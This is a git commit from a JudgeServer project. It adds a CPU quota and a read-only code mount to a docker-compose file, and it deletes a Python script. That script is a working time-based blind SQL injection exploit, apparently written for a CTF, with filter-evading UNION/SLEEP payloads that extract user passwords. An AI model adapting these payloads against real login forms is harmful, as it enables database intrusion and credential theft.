增加CPU占用限制

This commit is contained in:
virusdefender 2016-10-02 19:16:13 +08:00
parent 67420ef0af
commit 3cbd7c454b
2 changed files with 2 additions and 30 deletions

View File

@ -1,9 +1,10 @@
judge_server:
image: judge_server
cpu_quota: 90000
volumes:
- /data/JudgeServer/test/test_case:/test_case
- /data/log:/log
- /data/JudgeServer:/code
- /data/JudgeServer:/code:ro
environment:
- judger_token=PLEASE_REPLACE_TO_SECRET_TOKEN
ports:

29
sqli.py
View File

@ -1,29 +0,0 @@
# -*- coding:utf-8 -*-
import requests
import time
url = "http://web.l-ctf.com:6699/sh0p.php"
ABC_DICT = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '{', '}', '-', ' ', '(', ')', '[', ']', '&', '^',
'%', '$', '@', '!', '<', '>', '?', '~', '*', '+', '=', '`', '#']
num = 0
while 1:
for abc in ABC_DICT:
start = time.time()
data = {
"submit": "Submit",
"uname": "flag'/*",
"passwd": "1112*//**/union/**//** lselectect/**/1,IF(SUBSTRING((SESELECTLECT/**/password/**/FROM/**/users)/**/," +
str(num) + ",1)='" +
str(abc) + "',sleep(4),1)#"
}
if num in (1, 5, 10, 11):
#print data
res = requests.post(url, data=data)
stop = time.time()
if stop - start > 4 :
print str(num) + "-------time:" + str(stop - start) + "-------" + str(abc)
num += 1